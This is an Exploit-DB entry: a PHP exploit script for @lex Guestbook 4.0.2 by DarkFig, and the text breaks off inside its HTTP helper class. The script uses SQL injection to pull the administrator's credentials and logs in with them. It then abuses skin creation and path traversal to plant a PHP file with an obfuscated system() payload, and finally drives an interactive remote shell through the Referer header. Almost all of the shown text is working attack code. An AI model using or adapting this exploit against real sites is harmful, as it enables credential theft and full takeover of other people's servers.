Exploit-DB #3103
Description: @lex Guestbook 4.0.2 - Remote Command Execution
Type: webapps
Platform: php
Date: 2007-01-08
Author: DarkFig

Exploit:
#!/usr/bin/php
<?php
/*/
 |
 | header> @lex Guestbook <= 4.0.2 Remote Command Execution Exploit
 | header> ========================================================
 | status> Retrieving the administrator password
 | sploit> AdminUsername::root
 | sploit> AdminPassword::toor
 | status> Trying to get logged in
 | sploit> Done
 | status> Trying to add a skin
 | sploit> Done
 | status> Writing the malicious skin
 | $shell> whoami
 | darkfig
 |
 | $shell> cat /etc/passwd ...
 |
/*/

if($argc < 2)
{
       print "\n---------------------------------------------------------";
       print "\nAffected.scr..: @lex Guestbook <= 4.0.2"; // last version
       print "\nPoc.ID........: 20070107";
       print "\nType..........: PHP Code Execution";
       print "\nRisk.level....: High";
       print "\nSrc.download..: www.alexphpteam.com";
       print "\nPoc.link......: acid-root.new.fr/poc/20070107.txt";
       print "\nCredits.......: DarkFig";
       print "\n---------------------------------------------------------";
       print "\nUsage.........: php xpl.php <url>";
       print "\nProxyOptions..: <proxhost:proxport> <proxuser:proxpass>";
       print "\nExample.......: php xpl.php http://victim.com/@lexgb/";
       print "\n---------------------------------------------------------\n";
       exit(1);
}

$url=$argv[1];
$prs=$argv[2];
$pra=$argv[3];

$xpl = new phpsploit();
$xpl->agent("Sploitzilla");
if(!empty($prs)) $xpl->proxy($prs);
if(!empty($pra)) $xpl->proxyauth($pra);

/*/
 |
 | index.php
 | =========
 | ... include($chem_absolu."include/livre_include.".$alex_livre_ext);
 |
 |
 | livre_include.php -> Local File Inclusion
 | =================
 | ... set_magic_quotes_runtime(0); // thx =)
 | ... if (isset($_GET['lang']) && $_GET['lang'] && file_exists($chem_absolu."languages/".$_GET['lang'].".".$alex_livre_ext))
 | $f_language = str_replace("..","",$_GET['lang']); // We can't use .... because of file_exists() verification but ... =]
 | include($chem_absolu."languages/".$f_language.".".$alex_livre_ext);
 |
 |
 |  index.php -> SQL Injection
 |  =========
 |  ... sql_select_query("msg", "alex_livre_txt_lang", "WHERE lang='".$f_language."' and `type`='titre'");
 |  // "SELECT msg FROM `alex_livre_txt_lang` WHERE lang='$f_language' and type=`titre`
 |
/*/

$sql = "index.php?lang=english.php%00'%20union%20select%20".
      "concat('XPLLogin:',(select%20login%20from%20alex_livr".
      "e_users%20LIMIT%201),'XPLPass:',(select%20pass%20from".
      "%20alex_livre_users%20LIMIT%201))/*";

print "\nheader> @lex Guestbook <= 4.0.2 Remote Command Execution Exploit";
print "\nheader> ========================================================";
print "\nstatus> Retrieving the administrator password";
$xpl->get($url.$sql);

if(preg_match('#<div class="d_title">XPLLogin:(.*)XPLPass:(.*)</div>#',$xpl->getcontent(),$count))
print "\nsploit> AdminUsername::".$count[1]."\nsploit> AdminPassword::".$count[2];
else die("\nsploit> Exploit failed");

print "\nstatus> Trying to get logged in";
$xpl->post($url."admin/index.php","f_login=".$count[1]."&f_pass=".$count[2]."&f_identif=Identification");
if(preg_match("#f_cadres\.php\?f_sid=([a-z0-9]{32})#",$xpl->getheader(),$sid)) print "\nsploit> Done";
else die("\nsploit> Exploit failed");

print "\nstatus> Trying to add a skin";
// skins.php ... @mkdir($chem_absolu."templates/skins/".$_POST['aj_skin']."/", 0755)
$xpl->post($url."admin/skins.php?f_sid=".$sid[1],"aj_skin=../../languages/d4h4x0rskin&ajouter=Ajouter");
if(!preg_match('#alert\("ERREUR\n#',$xpl->getcontent())) print "\nsploit> Done";
else die("\nsploit> Exploit failed");

$scode = "chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d).".
        "chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69).chr(0x70).".
        "chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).".
        "chr(0x73).chr(0x28).chr(0x24).chr(0x5f).chr(0x53).chr(0x45).".
        "chr(0x52).chr(0x56).chr(0x45).chr(0x52).chr(0x5b).chr(0x27).".
        "chr(0x48).chr(0x54).chr(0x54).chr(0x50).chr(0x5f).chr(0x52).".
        "chr(0x45).chr(0x46).chr(0x45).chr(0x52).chr(0x45).chr(0x52).".
        "chr(0x27).chr(0x5d).chr(0x29).chr(0x29).chr(0x3b)";

$data  = "skin_edit=skins.php%3Ff_sid%3D".$sid[1]."%26skin_edit".
        "%3D../../languages/d4h4x0rskin&alex_livre=<?php\r\n@e".
        "val($scode);exit(0);\r\n?>&add_message=&nb_message_pa".
        "ge=&list_pages=&corps_messages=&space=&assembly=&enre".
        "gistrer=Enregistrer";

print "\nstatus> Writing the malicious skin\n\$shell> ";
// skins.php ... write($chem_absolu."templates/skins/".$_GET['skin_edit']."/".$tab_template_guestbook[$i])
$xpl->post($url."admin/skins.php?skin_edit=../../languages/d4h4x0rskin&f_sid=".$sid[1],$data);

while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
   $xpl->addheader("Referer",$cmd);
   $xpl->get($url."index.php?lang=d4h4x0rskin/alex_livre.css%00");
   print $xpl->getcontent();
   print "\n\$shell> ";
}

class phpsploit {

	/**
	 * This function is called by the get()/post() functions.
	 * You don't have to call it, this is the main function.
	 *
	 * @return $server_response
	 */
	private function sock()
	{
		if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
		else $socket = fsockopen($this->host,$this->port);
		
		if(!$socket) die("Error: The host doesn't exist");
		
		if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
		elseif($this->method==="post") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
		else die("Error: Invalid method");
		
		if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
		$this->packet .= "Host: ".$this->host."\r\n";
		
		if(!empty($this->agent))  $this->packet .= "User-Agent: ".$th